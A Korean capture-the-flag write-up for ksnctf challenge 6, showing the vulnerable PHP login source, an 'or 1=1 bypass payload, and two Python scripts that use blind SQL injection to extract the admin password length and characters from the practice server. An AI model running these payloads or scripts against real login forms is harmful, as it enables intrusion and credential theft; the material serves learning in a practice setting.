ksnctf#6 로그인

로그인



문제

login: 로그인

문제를 보면 url이 있다. 열어 보면 ID와 Pass를 입력하는 상자가 있습니다.
우선, SQL 인젝션을 시험해 본다.
 ID:admin
 Pass:'or 1=1;
이것으로 송신해 보면, 이하의 php가 얻어졌다.
Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:

<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}

    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';

    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>

ID가 admin인 pass가 FLAG로 되어 있는 것 같다.

이 문제를 해결하기 위해 블라인드 SQL 주입을 사용합니다.

블라인드 SQL 주입은 응답 페이지에서 정보를 직접 훔치는 것이 아니라 삽입된 SQL에 대한 응답 페이지의 차이로 인해 데이터베이스 관리 시스템에 대한 정보(예: 실행 사용자 및 테이블 이름)를 훔치는 것입니다.

이번 응답 페이지에는 로그인이 성공했을 때는 상기의 php의 페이지가 표시되고, 실패했을 때는 이하와 같은 페이지가 표시된다. 이 응답 페이지의 차이를 이용하여 pass를 찾아 간다.


우선, FLAG의 문자수를 조사한다. 지금까지의 문제로부터 FLAG의 길이는 20문자 정도이므로, 10문자~30문자의 사이에서 FLAG의 길이를 조사해 본다.
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
n=0
for i in range (10,30):
    #print(i)
    sql = " \' OR (SELECT LENGTH(pass) FROM user WHERE id = \'admin\')={num}--".format(num = i)
    payload = {
        'id': 'admin ',
        'pass': sql
    }
    response = requests.post(url,data=payload)
    if len(response.text)>1000:
        print(i)
        break

requests는 Python의 HTTP 라이브러리에서 GET 요청 등을 할 수 있다.

sql = " \' OR (SELECT LENGTH(pass) FROM user WHERE id = \'admin\')={num}--".format(num = i)

여기서 SQL문을 만든다. user 테이블에서, id가 admin인 것의 pass의 길이를 취득해, 그 길이를 10~30의 사이에 비교하고 있다. 값이 같아지면 응답 페이지의 문자수(response.text)가 커지므로 이 차이를 이용하여 response.text의 문자수가 1000보다 큰 경우 로그인할 수 있었다고 판단한다.

이 결과 FLAG의 문자수는 21인 것을 알 수 있었다.

다음에, 1 문자씩 송신하여 FLAG를 확정시켜 간다. FLAG에 사용되는 문자는 a-z, A-Z, _, 0-9이므로, ASCII 코드로 48~123까지의 문자를 차례로 시험해 간다.

import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1,22):
    for char_num in range(48,123):
        char = chr(char_num)
        sql = " \' OR SUBSTR((SELECT pass FROM user WHERE id = \'admin\'),{index},1)=\'{num}\' --".format(index = i,num = char)

        payload = {
            'id': 'admin ',
            'pass': sql
        }
        response = requests.post(url,data=payload)
        if len(response.text)>1000:
            print(char, end="")

sql = " \' OR SUBSTR((SELECT pass FROM user WHERE id = \'admin\'),{index},1)=\'{num}\' --".format(index = i,num = char)

SUBSTR은 SUBSTR(문자열, 시작 자리수, 잘라내기 문자수)처럼 사용한다. pass의 i번째 문자로부터 1문자 잘라낸 것(pass의 i번째 문자)과 48~123을 chr()로 문자로 한 것을 순차적으로 비교해, 동일할 때(응답 페이지의 문자수가 1000보다 큰 )에 해당 문자를 표시합니다.

좋은 웹페이지 즐겨찾기